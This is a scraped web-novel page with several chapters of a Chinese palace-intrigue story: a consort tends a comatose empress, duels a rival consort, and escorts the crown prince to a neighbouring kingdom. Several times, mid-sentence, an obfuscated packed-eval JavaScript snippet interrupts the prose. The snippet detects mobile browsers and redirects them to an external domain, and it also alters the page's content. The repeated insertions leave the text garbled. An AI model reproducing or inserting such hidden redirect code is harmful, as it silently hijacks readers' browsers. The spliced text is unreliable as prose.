陛下雷霆震怒,首辅大人毛遂自荐,带着天罗前去支援。 首辅送来了飞鸽传书,说定国侯差点死在了北戎贼人手中,而造成这一严重后果的,是楚家军第二次的拒不支援。 她若是再不立点功劳,恐怕日后在轩辕都没有立足之地了,这才上赶着来椒房殿衣不解带的伺候皇后的。 沈安安进到卧房,看床边摆放着一本书,是枯燥无味的史书。 “陛下要你给皇后娘娘读书听的?”沈安安在凳子上坐下来,问着。 不得不说,这楚妃是个会照顾人的。 床榻被熏的香香的,屋子里温度适中。 虽然没放冰块,但也不会觉得闷热。 京城靠近南方,一到夏季就会湿热湿热的。 沈安安来椒房殿的路上,都出了一身汗呢,她很不适应京城的热。 “是嫔妾自己想的法子,兴许皇后娘娘能听见呢。”楚舒茗开口回着。 只是她无聊打发时间的罢了,皇后若是真能听见她的祈祷,早该醒过来了。 第114章 畅所欲言 移魂**是假的,楚舒茗的希望也落空了。 放眼整个天下,除了皇后娘娘,还有谁能劝得动陛下? 不知首辅和定国侯回京后,楚家军会是怎样的下场?陛下又会不会迁怒于她? 近来她总是悬着一颗心,总觉得一觉睡醒,自己就会尸首分离。 “讲这些无聊的没用,你得讲一些皇后感兴趣的。 病重的人能不能活下去,其实看的是心气儿。”沈安安把书拿掉。 她自然也不知道皇后对什么感兴趣,但看**对皇后的在意程度,两人定是鹣鲽情深的,讲些跟**相关的肯定没错。 于是乎,沈安安开始像发牢骚一样对安乐说道:“皇后娘娘,你是不是喜欢被虐啊?陛下到底哪点吸引你了?” “他疑心病、喜怒无常、暴虐残忍,还杀了你全家……” 楚舒茗:“……” 她下意识的动作都是抬起手捂耳朵,这是她能听的吗? 可沈安安说的来劲,她想阻止也阻止不了。 无法,楚舒茗只好从卧房里退出来,搬了一张凳子坐在卧房门口守着,好不让其他人靠近。 至于沈安安说的那些,她不敢听也没兴趣。 平日里没处诉说,现在有个躺着不动的当倾听者,沈安安便开始畅所欲言了。 “我原也是当皇后的命,但我不认命,谁承想现在成了个妃子?” “我还是喜欢上战场,虽然会受伤流血,但不用勾心斗角。 在战场上,打赢了还能睡个安稳觉,在后宫里呢?压根就没有真正的赢家。” “我们女子的一生,本来就不该困于后宅,应该去看辽阔天地。 皇后娘娘,要是有朝一日你醒了,我就骑着枭龙带你出去溜达。 这破皇宫有什么好的?看一个男人的脸色过活有什么好的?凭什么他的喜怒就要决定我的生死……” 说着说着,沈安安声音带上了悲戚,“皇后娘娘,你是不是也跟我一样,因为任性,害**家人?” “我是想象不到你怎么爱上**的,要是换作我,我杀了他还差不多。” 沈安安忽地觉得心上一疼,她想念阿爹了。 长时间的赶路,加上精神的过度紧绷后的突然放松,困意很快席卷了沈安安的大脑。 她这人也是随意,起身干脆坐在了地上,头靠在床榻边沿,闭上眼睛就睡了过去。 她吐槽夜不群的那些话,听的楚舒茗也大快人心,一放松下来,她也靠在门框上睡了过去。 等夜不群忙完来到椒房殿时,就看见三个熟睡的人。 “咯吱。”他抬手推开卧房的门。 楚舒茗睡得浅,轻轻一声她便睁开了眼睛,率先映入眼帘的是黄色的龙袍。 她刷一下起身,扑通跪在了地上,一时间慌乱,连“参见陛下”都忘了说出口。 “回宫去好好休息吧。”夜不群声音压得低低的,冲楚舒茗说道。 “陛下……”楚舒茗想为自己辩解。 “不睡好,你哪里来的体力照顾皇后?”夜不群说罢,便指了指门口。 楚舒茗暗暗松了一口气,行过礼后退出了椒房殿。 夜不群来到卧房,他就这么站在床榻前,看着安乐和沈安安两张几乎一模一样的脸。 沈安**着安乐的手,时不时唇瓣还动一动,叽里咕噜说的梦话夜不群也听不懂。 就这么过了一刻钟,夜不群弯腰,将安乐的手从沈安安手中拿了出来。 他一脚踹在了沈安安的腿上。 沈安安梦中惊醒,下意识一个扫堂腿,“砰。”一声。 穿着龙袍的九五之尊,四仰八叉的倒在了地上。 脑袋重重的磕在了地面上,导致夜不群一时间头晕眼花,睁开眼整个天花板都在左摇右晃,他只得赶紧闭上眼。 “陛下。”沈安安看清是他,这下慌了,赶紧将人打横抱了起来。 没错,是抱。 不可能放在床榻上,万一不小心压坏了皇后娘娘可怎么办? 于是乎,她把夜不群放在了美人榻上。 武将出身的她,实在是不会照顾人,两个枕头垫在一起,塞到了夜不群的脖子底下。 这导致他虽然是躺着的,但整个人脑袋是前倾的,晕的更厉害了。 沈安安也慌乱,抓住他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498020|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀摇着:“陛下你没事儿吧?陛下你没摔坏脑袋吧?陛下你说句话,要不要叫御医?” 如果不是在椒房殿,沈安安早就扯着嗓子喊御医了。 椒房殿是夜不群的禁区,没有他的命令,沈安安可不敢造次。 “放肆,还不放手。”被她摇的,夜不群胃里都要翻江倒海了。 他忍着胃里的翻涌,厉声呵斥着。 沈安安松了手,他跌回了美人榻上。 夜不群费力的扯掉了枕头,扔在了地上。 还不等他发作,沈安安便跪在了地上。 她开口就是:“陛下,臣妾有罪,您责罚臣妾吧。” 虽然她也不知道自己错在了哪里,但认错总没错。 “你是不是不满朕很久了?”夜不群冷眸瞥着她。 她脊背直挺挺的,跪着的姿态都像松柏,哪里是认错的样子?分明还很傲娇。 “没有啊。”沈安安矢口否认。 她的不满她早就说了,他不听啊,而且还觉得自己十分完美,毫无问题。 现在又问,这不是马后炮吗? 沈安安又不是傻子,这要是承认了,岂不是又要给她扣上个弑君之罪了? 如此想着,她又接连开口:“陛下,你走路一点儿声音也没有,吓到臣妾了。 臣妾是上过战场打过仗的人,警惕性肯定会高于常人。 更何况还是在皇后娘娘的寝宫,臣妾……臣妾这也是在保护皇后娘娘。” 这一番话,可谓是让沈安安绞尽脑汁。 她刚才也的确是出于保护皇后,才那样做的。 如若不是发自内心的,让她慌忙编造一个理由,她也想不到这些话。 “起来。”夜不群的声音,仍然难压愤怒。 “谢陛下。”沈安安说完撇了撇嘴,站起了身。 看夜不群不说话,她又主动开口问着:“陛下,你让臣妾照顾皇后娘娘到几时啊?” 总不能她以后的每一天都是要在这里度过吧? 宫里宫女那么多,谁照顾皇后都比她照顾的好啊。 给她的圣旨上只说了照顾,也没说要照顾多久。 第115章 荣宠 好半晌,夜不群才支起了身子。 他仿若没听见沈安安的话,眸子率先看向了床塌上躺着的安乐,眼神一瞬变的温柔,跟刚才简直判若两人。 “皇后醒来。”他忽低说了这么一声。 这道声音实在太过温润,让人觉得如沐春风一般。 以至于沈安安本能的“啊?”抬眸望向了他,至于他说的什么,她刚才压根没注意听。 “怎么?你是觉得皇后永远都不会醒来?”夜不群刹那间变冷的声音,在沈安安头顶响起。 沈安安忙摇头,“那没有,我说陛下,你能不能不要过分揣测臣妾的心思?” 猜又猜不准,还每次都搞得好像是她肚子里的蛔虫一般。 帝王心,果真海底针。 “刚才臣妾可什么都没说,皇后娘娘又没招惹臣妾,臣妾干嘛妄想她醒不过来?”沈安安极力给自己辩解。 她本就不是内敛的性子,能让她**之后,她是心直口快。 夜不群微不可察的叹息了声,刚要起身,脑袋又是一阵眩晕。 他下意识的抬起手,似是要去扶什么东西。 沈安安会错意了,伸出一只手抓住了他的手腕,毫不温柔的将人从美人榻上拽了起来。 往怀里这么一拉,夜不群高大挺拔的身子,向她倒了过来。 他睁眼闭眼的瞬间,沈安安已经搀扶着他坐在了皇后的床塌边沿。 她说:“陛下,你多跟皇后娘娘说说话,搞不好哪天你就把皇后给说醒了。” 夜不群甩开她的手,稳住了身子,指了指自己脚边的位置。 沈安安心领神会,挪上前去蹲了下来。 “刚刚你在跟皇后说话?”他问着。 沈安安诚然的点头,“就瞎聊。” “继续。”他淡淡吐出两个字。 沈安安愣神了,冲着他眨了眨眼睛,那些话也不能当着他的面儿说啊。 但**发话了,她硬着头皮也要上。 转过身,面朝皇后,沈安安红唇微启,“皇后娘娘,陛下爱惨了你,你快醒过来吧。 臣妾真担心陛下相思过浓,扛不过去这一遭,轩辕日后可怎么办呐。” 夜不群:“……” 这跟咒他死有什么区别? “皇后娘娘,药钱实在太贵了,轩辕的百姓都在吃土了。” 夜不群:“???” “闭嘴。” 他一声令下,沈安安殷红的唇紧紧闭了起来,抿成了一条缝。 她身子往后一矮,泄气一般蹲坐在了地上。 “你放肆。”好似是怕吵到安乐,夜不群声音压的很低,但听得出来难掩怒气。 “你就说这些给皇后听?”他气的胸口都在起伏。 安乐……她最不喜欢打打杀杀这些事儿了。 “就是要说些新奇的,才能引起皇后娘娘的兴趣啊。”沈安安这次不是辩解了,她是发自内心的诚恳。 夜不群当即黑了脸,阴沉的犹如地狱阎罗。 就在他垂下眼睑时,忽地看到安乐的手指动了动。 虽然动作微弱、时间短暂,但他确定自己没看错。 “沈安安,刚才皇后的手指动了。”夜不群连名带姓叫着她,声音里是隐忍和克制。 这一刻,他的声音才带上了青年该有的纯净,如空谷般干净,身上的煞气也好似顷刻间消失殆尽。 “是吗?”沈安安反问着。 刚才她低着头,没看见。 “沈安安,你立了大功,朕要赏你。”夜不群毫不吝啬道。 他高兴虽高兴,但理智还在。 鉴于在青州时沈安安向他提了一系列无理条件,这一次他干脆没问她想要什么。 “今夜你便宿在椒房殿,日后你在椒房殿内可畅所欲言。 无论你说什么,朕都不会治罪于你。” 说罢,他也不管怔愣的沈安安了。 椒房殿灯火通明了一晚上。 崔福领着太监宫女,往荣华宫搬了一整夜的东西。 这注定是整个后宫无眠的一晚上。 宁妃赵时意的西华宫挨着荣华宫,她听了一晚上的动静。 屋内燃着那妖妃留下的熏香,身体本能的发出信号。 原本今夜陛下是要来西华宫的,被沈安安截胡了。 她真是个狐媚惑主的,竟然有手段能在椒房殿承宠。 若不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被迫守在皇后的床榻前说了好多话,把她嗓子都说哑了。 莲花心疼她,端上来一碗梨子羹。 沈安安大口咽下,这才觉得喉咙里刺痛的感觉消了许多。 但只要一呼吸,嗓子还是会又干又疼。 “哇~~”沈安安一脸苦哈哈,趴在桌子上。 手臂传来冰凉的感觉,很是舒服。 她睁开眼睛看了眼,是张极好看的桌子。 莲花看她对桌子感兴趣,开口道:“娘娘,这是陛下赏给咱们宫里的。” “这里打开,将冰块放进里面,就能起到消暑的作用了。 还是崔公公亲自教奴婢如何使用呢。” 莲花示范给她看。 沈安安点了点头,表示自己对这张桌子很满意。 她上半截身子都贴在桌子上了,受宠就能得到好东西,难怪古往今来后宫的妃子们都要争宠。 “皇贵妃娘娘驾到。”一道太监格格不入的声音,在荣华宫门口响起。 被打扰到,沈安安嘟着嘴表示不悦。 独孤若兰出行的阵仗很大,加之还有宁妃带的太监宫女,乌泱泱的进了荣华宫。 赵时意站在独孤若兰身侧,打定了主意要受沈安安的礼。 “荣贵妃,你再怎么得宠,毕竟只是个贵妃,我们娘娘那可是皇贵妃。 虽一字之差,但位份就是比你高,还不快给皇贵妃娘娘行礼。” 独孤若兰身边的大宫女换人了,这个比之前那个更五大三粗,个子都赶上男人了。 沈安安还是趴在桌子上,只眼皮抬了抬看向来人。 “皇贵妃娘娘,我在椒房殿伺候了一天一夜,实在是有些累,有话改天再说行吗?”沈安安用商量的口吻问着。 别看只是陪皇后说话,但夜不群就躺在美人榻上听着。 她既要说的天马行空,又要不触犯**逆鳞,可不必体力活轻松。 可此时她这话,听在独孤若兰的耳中,那就是炫耀了。 “看来是本宫太给你脸了,不要以为你得了圣宠,之前我们的恩怨就能一笔勾销了。”独孤若兰步步紧逼过来。 她手上拿着佩剑,是她进宫时王妃送给她的。 “**,今日本宫就要与你一决高下。”独孤若兰冲沈安安道。 “你确定?”沈安安颇不耐烦的直起身子,伸了个懒腰。 “怎么,你不敢?”独孤若兰反问。 沈安安皱了皱眉,“不是,我怕我下手没轻重,把你给废了。” 闻言,独孤若兰像是听见了什么笑话,重“呵”一声,“口出狂言。 你不过就是运气好,遇上了北戎的无能之辈和你爹那个贪生怕死的软蛋。 你该不会真的以为你是凭本事立的军功吧?” “本宫与你在王府一起生活了多年,你有几斤几两,本宫能不知道吗? 废话少说,你敢不敢应战。” “你嘴巴怎么这么臭?应战可以,丑话说在前头,待会儿你伤的多重可都得认,不许给我找麻烦。”沈安安站起身来。 “打败了本宫你再嚣张,现在休要口无遮拦。 本宫是愿赌服输的人,你休要以小人之心度君子之腹。” 独孤若兰恨恨说完,让沈安安带路往演武场走去。 偌大的演武场里,董聂正在陪夜亦德练武。 沈安安叫停了两人。 夜亦德站在树荫底下,一句话都没来得及说呢,皇贵妃就拔剑了。 “**,还不快亮出你的武器。”独孤若兰攻势满满,蓄势待发。 别说,她武德还不错。 沈安安摆了摆手,“应付你不用,你上吧。” 她姿态随意、神色轻松的站在原地。 太狂妄了,简直就不把人放在眼里。 独孤若兰哪里看得惯她这样,冷哼道:“机会本宫给过你了,是你不要,可别说本宫欺负你。” “看剑。” 独孤若兰挽着剑花,刺向了沈安安。 她倒是有几分本事,内力不弱。 剑刃带着一阵风,劈了来。 沈安安双脚未动,只抬起一只手,两根手指轻轻一弹,疾驰而来的长剑就被她弹开了。 独孤若兰及时收剑,转换了握剑的方向,剑刃朝着沈安安的脖子就划了来。 沈安安两指横着夹住了剑刃。 “锃~~”剑刃在双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕竟是在荣华宫,贵妃娘娘也不想皇贵妃又在这里身负重伤吧?” 第117章 话本 沈安安翛然变冷的眸子,落在了赵时意脸上。 “你怂恿皇贵妃来的?”是笃定的语气,她问着。 赵时意怔愣片刻,岔开话题,“贵妃娘娘,嫔妾就先送皇贵妃娘娘回倾兰宫了。 伤成这样,定是要叫御医的,耽误不得。” 她说完也不等沈安安回一句,搀着独孤若兰就要转身离开。 “站住。”沈安安出声的刹那,一个闪身便到二人前面了。 “喂,你还没回答我呢,不说话是不服吗?那你以后是不是还会来找我的麻烦?” 她身子前倾,一双好看的眸子闪烁着,问独孤若兰。 独孤若兰顶着一张肿胀的脸,实在说不出一句话。 气氛剑拔**张时,赵时意突然开口,“服,皇贵妃娘娘说她佩服的五体投地。” 独孤若兰:“???” 她用能睁开的一只眼瞥着赵时意,她不服。 “是这样吗?”沈安安天真的眸子在赵时意脸上一滑而过,继而又落在独孤若兰身上。 赵时意见独孤若兰不答话,落在她背后的那只手暗暗上移,至她后脑勺上时用力一摁。 “你看,皇贵妃娘娘点头应了。”赵时意说道。 沈安安这才直起了腰身,摆了摆手,“那没事儿了,你们走吧。” 独孤若兰还要哼哼唧唧,赵时意麻溜的拖着她出了荣华宫。 回倾兰宫的路上,她给自己找补道:“姐姐,那**正得圣宠,没必要现在跟她硬碰硬。” “只要让她没办法怀上陛下的孩子,她就威胁不到你。” 独孤若兰甩开了赵时意,恶狠狠的瞪了她一眼。 这眼神仿佛在说:‘见风使舵的**,你给本宫等着。’ 赵时意见状,也没继续上赶着去自讨没趣了,兀自回了西华宫。 荣华宫演武场里。 沈安安坐在树荫下的椅子上,翘起的腿交叠着搭在桌子上,吃着冰镇西瓜纠正夜亦德的动作。 “腿再抬高一点,肚子要吸进去,抬头挺胸。” 夜亦德一一照做,夏日的烈日下,不消片刻他就满头大汗了。 沈安安瞧着着实心疼,便招了招手将人叫到了自己身边。 她拿着帕子,给夜亦德擦着脸上的汗水,光着的膀子被晒的通红。 “歇会儿吧亦德,再晒下去,你皮都要掉一层了。”沈安安道。 夜亦德伸手就要去吃冰镇西瓜。 “可不能吃,先喝点温水。”她拉着夜亦德坐了下来。 莲花倒了杯水,递到了他手上。 “母妃,他们都说你侍寝了,真的吗?”夜亦德咕噜咕噜咽下,滴溜溜的大眼睛盯着沈安安问。 “没有的事。”沈安安给他扇着扇子。 “啊?”夜亦德的眼中是大大的疑惑,“那很可惜哎母妃……” 母子俩正聊着呢,崔福又来传陛下口谕了,让沈安安去椒房殿。 便是当着崔福的面儿,她也直截了当的抱怨,“觉都没睡呢,饭也没吃,我总不能一丁点自己的时间都没有吧,真是烦**。” 崔福就当没听见,走在她前面,将人领去了椒房殿。 沈安安一进殿门,就看见夜不群坐在院中的椅子上,宁妃赵时意跪在地上,她头也不敢抬。 沈安安走近后,冲夜不群福身行礼,“臣妾参见陛下。” “平身。”夜不群的声音,不同于以往的冷漠,带着些许柔情。 他让沈安安坐在自己旁边,如此一来,就好似宁妃是在给她跪着。 许是夜不群早就吩咐好的,她刚坐下来,崔福就让御膳房的太监们上菜了。 都是西南菜品。 这**,又搞什么名堂? 沈安安心中虽疑惑,但她可不管那么多,拿起筷子大快朵颐。 赵时意恨的牙痒痒,原来陛下把她叫来罚跪,单纯就是给这**出气,她到底用了什么手段,把陛下迷成了这样? 两人吃完后,方进了屋子。 徒留赵时意一个人跪在院子里,当头的烈日晒着,她的衣衫早已经湿透了,要多难受有多难受。 夜不群坐在皇后的床榻边上,那双骨节分明的手握住皇后的纤纤玉手,指腹轻轻摩挲着。 沈安安就定定的站在一旁。 “把你想对皇后说的话写下来,交给楚妃。”夜不群清冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“写的不错,这里再加一段:楚州边陲小镇,被北戎**殆尽,至于惨状,你自由发挥。 还有,启西境内遍地灾民流寇……” 沈安安说着自己一路上的所见所闻,楚舒茗听的是眉头紧皱。 她虽然不是楚家嫡出的女儿,但从小就将楚萧寒作为榜样,她入宫也是想凭借一己之力,改变启西的现状。 可她高估了自己,也低估了陛下对定国侯和首辅的信任。 帝王为宠妃大赦天下的事儿,终究只会存在于话本上。 “真希望皇后娘娘能醒来。”楚舒茗沉吟一声。 能让陛下改变主意的,恐怕也只有皇后娘娘了。 “说不定哪天就会醒来,这世上是存在奇迹的。”沈安安开口说着。 这无心的一句话,却让楚舒茗心中重新燃起了希望。 是啊,要相信奇迹,奇迹才会发生。 她们就这样在椒房殿里待了两天两夜,期间夜不群来过无数次。 不过他让她们俩当他不存在。 于是乎,沈安安便专挑他在的时候,说启西是如何如何惨的,有多少人是像她一样家破人亡的。 明里暗里在告诉夜不群,是时候该做一个为国为民的好君王了。 第三日辰初,沈安安才回了荣华宫。 崔福早就将要动身去北燕的消息带给夜亦天了。 天光大亮,莲花把收拾好的包袱交到了沈安安手上。 秦嬷嬷做了许多糕点,装在食盒里,眼泪啪嗒的给沈安安递了去。 “娘娘这回宫没几日,又要远行了,老奴真是心疼娘娘,这出去了风餐露宿的,哪里有在咱们荣华宫里舒服?” 秦嬷嬷是真的疼惜沈安安。 来了荣华宫后,她才真正领略到像人一样活着的滋味,这样的幸福是沈安安给予她的。 只是这份给她的、人的尊严,都足够她一辈子为沈安安效力了。 “嬷嬷做的糕点最好吃了,嬷嬷快别哭了,一个月的时间我们就回来了。”沈安安接住食盒,宽慰着。 对她来说,外面可比宫里好多了。 但看到大家依依不舍的分别场面,她心里多少也有些动容。 夜亦天背着自己的小包袱,率先出了荣华宫。 又不是生离死别,搞的这样悲戚,大可不必。 “哎,亦天,你等等我啊。”沈安安两只手都拎着东西,扭头叫着。 “莲花,亦德呢?这臭小子,也不知道出来跟我告别。”沈安安问着,朝着夜亦德的屋子看去。 莲花回道:“娘娘,二殿下练功太认真了,还没醒来呢。” “哎!好吧好吧,那他醒来你跟他说,就好好的待在荣华宫,不要乱跑。” 沈安安说罢,再一扭头,夜亦天已经不见了人影儿。 她只好快步追出去,嘴里还一边叫着“亦天。” 出了皇宫,去到那座宅子。 沈安安嘱咐了王坡,又让他给武文义和杨士青带话。 这才抱着夜亦天,骑上了枭龙的背,马不停蹄的赶往了北燕。 有了夜不群给的令牌就是好使,一路上畅通无阻,走的还都是官道。 每到一个地方,当地的官员早早便备好了枭龙的粮草和给他们的好酒菜。 “这样一对比,我们之前出来过的那是什么苦日子?真是想想都憋屈。”沈安安大口吃肉大口喝酒,还一边疯狂吐槽。 夜亦天便是吃饭的时候,手中的书也不曾放下。 一路上沈安安没少跟他聊天,但他要么是不理会,要么就嫌弃她唠叨。 但这丝毫没有降低沈安安的分享欲,她还是会喋喋不休的说个不停。 “你得陛下宠爱,有如此殊荣也是应该。”夜亦天老神在在的说着。 “那我也是凭本事得的,换个人也不行啊。”沈安安一口烧刀子下去,瞬间神清气爽。 “哼。”夜亦天却是冷哼一声,把筷子往桌子上一丢,“赶路要紧。” “还没吃好呢,亦天啊,你吃那么一点能饱吗?”沈安安望着小小人儿的背影问着。 他头也不回,也不回答一声,自顾自的往枭龙背上爬。 一旁有伺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513239|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候的官兵,将他抱上了枭龙的背。 沈安安嘴里叼着一只鸭腿,一手拎着一瓶烧刀子,翻身跃上了枭龙的背。 “驾。”她双腿夹着马腹,继续赶路。 一路上畅通无阻,七日的时间,赶到了北燕燕京城。 夜不群早就给陆诰修了国书,北燕的守城将领也给沈安安直接开路。 从进入同州她就满目惊讶,再到燕京,她简直大为震惊。 燕京的城墙就像一座山一样,据夜亦天说,这是用来防范轩辕的。 负责接他们的,是夜亦天的外祖父宇文扩。 沈安安紧赶慢赶,就是为了让亦天能够和宇文扩多相处几日。 “外祖父。”夜亦天从枭龙背上下来,奔向了宇文扩。 宇文扩将人抱了起来,大掌揉着他的小脑袋。 沈安安牵着枭龙,冲宇文扩行礼,“宇文将军。” 宇文扩对她客客气气,“贵妃娘娘,有失远迎,还望见谅。 陛下和皇后娘娘已在宫中设宴,娘娘请。” 宇文扩说着做了一个请的手势。 他抱着夜亦天上了一匹马,沈安安则是翻身骑上枭龙,跟在他身后往北燕皇宫而去。 北燕民风淳朴,百姓安居乐业。 便是在国都,每条官道上都有叫卖的小摊贩,售卖的东西也是五花八门,充满了烟火气。 不像轩辕的京城,街道两边除了铺子就是酒楼,根本不允许有人在路边摆摊。 沈安安被允许骑着枭龙进皇宫,便是她的那杆黑枪,也没被要求卸下。 就这样一路到了大殿门口。 还是沈安安翻身下马,主动问着宇文扩,“大将军,我的武器不用交由你代为保管吗?” 宇文扩呵呵笑了声,道:“北燕没有这样的规矩,更何况贵妃娘娘初来乍到,又只身一人。 武器还是不要离手的好些,这样贵妃娘娘也心安些。” 说罢,他便抬步上了台阶。 对方都这样坦诚相待了,她自然也不会提枪入殿,又把黑枪挂在了枭龙背上,这才追上了宇文扩的步子。 第119章陆昭 大殿内,陆诰坐在龙椅上,旁边坐着的是郑婉婉。 大殿之下,左右两边分别摆放着两排桌椅。 夜亦天被宇文扩抱在怀里,简单的冲高座上的两人行了礼,便坐在左边第一排的桌子前了。 沈安安站在大殿中间,福身行礼道:“参见皇上,参见皇后,皇上万岁万岁万万岁,皇后娘娘千岁千岁千千岁。” “快平身吧。”郑婉婉脸上带着笑,一双柔情似水的眸子看向沈安安。 沈安安心下想着:看来这**的心爱之人是个团宠香饽饽啊。 她不禁感叹着,长得好看有时候是真的有用。 陆诰接着一声“赐座。”一名宫女上前来,请沈安安坐在了宇文扩旁边。 而右边第一排的桌子前,则坐着四个孩子,两个长得一模一样的双胞胎,沈安安一眼认出来,是北燕的大皇子和二皇子。 紧接着,是一男一女两个四岁的孩子,男孩儿端端正正坐着,好似对周遭的一切都不感兴趣。 女孩儿姿态端庄,举止优雅,一双亮晶晶的眸子看看夜亦天,又看看她,显然对他们这两个外人有浓厚的兴趣。 而在他们身后,坐着着各色服饰的几个孩子,也纷纷抬眸看向夜亦天,仿佛在看什么稀罕物件。 “言儿,带着你的弟弟妹妹们,带太子殿下去玩玩吧,往年他来,你们都会一起玩耍的。”郑婉婉忽地开口,打破了大殿上的一片宁静。 说是大殿,其实是用来招待外宾的偏殿,就在上朝的主殿旁边。 陆言闻言,站起身来,恭恭敬敬冲高座的人拱手行礼,道:“儿臣领命。” 便是一向都随心所欲,不拘小节的陆行,也老老实实的行礼后退到了陆言身后。 陆言领着一众孩子,客客气气对夜亦天做了个请的手势。 宇文扩将夜亦天从怀中放下来,慈祥开口:“去吧。” 夜亦天点了点头,挪步到了沈安安面前,难得的恭敬开口:“母妃,孤就在宫中玩儿,不会乱跑,午膳时候孤再来陪母妃。” 沈安安眉眼弯弯,很是受用,“去吧去吧,难得来一趟,你好好玩儿,不用顾虑我。” 亦天在外面还是挺懂礼数的嘛,真给她长脸。 不多时,整个大殿上便只剩下了大人。 郑婉婉似是真的关心安乐身体,神色稍有凝重的问着:“安安是吧?安安啊,安乐的身体怎么样了?吃药还有效用吗?” 沈安安咽下一口鲜嫩的羊肉,眉头微微蹙着,一脸诚然的开口:“应当是有用的,陛下说他亲眼看见皇后娘娘的手指动了。 说是皇后娘娘肯定会醒来的,所以药不能断,不管用什么办法,都得供着皇后娘娘的药。” 她只是在复述夜不群的话罢了。 这听上去一往情深的话语,实则充满了威胁意味,而威胁的人,便是此时坐在高位上的北燕皇上和皇后。 沈安安做事讲究个效率,她觉得药还是先拿到手里比较稳妥。 于是乎,她从随身携带的包袱里,掏出了银票。 “皇后娘娘,这是陛下交给我的银票,这一趟山高路远,我带着金子不方便。 陛下说了,这些银票在西天城,同州,青州的轩辕银号里随时都可以兑换金子。” 沈安安说罢,双手将银票奉上。 她身旁站着伺候的宫女,得到了沈安安的授意后,将银票接过来,款款送到了郑婉婉手中。 青州和北燕的另外两座城,乃是两国互市的重要之地,所以轩辕在同州和西天城也开了银号,本来是为了方便两国贸易的商人的。 但现在,对夜不群来说,这些银号最大的作用就是扰乱陆诰和郑婉婉的视听,好实施他的障眼法。 “我会派人去兑换,等金子到手了,我再把药交给你,怎么样?”郑婉婉快人快语道。 沈安安点了点头,“我也是这样想的。” …… 北燕皇宫后花园里。 夜亦天被一群孩子围在中间,无论他从哪个角度抬头,都会对上一张审视又讥讽的脸。 这种感觉该怎么形容? 就像是他被扒光了,关在囚车里,任由人如何对待一般。 “你是不是和你那**的父皇一样心狠手辣,和你那血崩而亡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513240|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的母后一样无情无义?” “上次就是你皇弟和你母妃,合力欺负我们二殿下,这笔账,你怎么还?” “你给我们二殿下磕头认错,我们今天就不追究了。” “快啊,你还愣着干什么?我们还没让你学狗叫呢。” “什么太子殿下?我看就是废物一个,你们看,他连头都不敢抬起来。” 陆言领着宫女去拿吃食了,此时孩子堆里做主的是陆行。 他本就是个小霸王,上次在青州受的气没消下去,现在逮着机会,他肯定是要欺负一下夜亦天的。 不知是谁,在夜亦天的肩膀上推了一把。 对方是个习武的,下手时也没收着力道,夜亦天身子没稳住,直接就趴在了地上。 “哈哈哈。”孩童肆意的笑声,刺耳的很。 夜亦天双手紧紧的捏成了拳头,他愤怒,但他只得忍着。 这次来是给皇后买药的,得罪了郑皇后,买不到药,回到轩辕他和沈安安都没好果子吃。 “磕啊,高高在上的太子,快给我们二殿下磕头认错。” “你说你错了,说你即位后会对我们二殿下俯首称臣,今天我们就不欺负你了。” 夜亦天的耳边,萦绕着一道道威胁讥笑的声音。 他高傲的头颅,刚想抬起来,一只手便死死的压在了他的头顶。 “啪。”紧接着,是一道响亮的耳光声。 夜亦天抬眸,率先看见的是一双红色的虎头鞋。 一身红色的锦衣华服,渐渐映入他的眼眸。 他听见一道稚嫩的女声,斥责着欺负他的人。 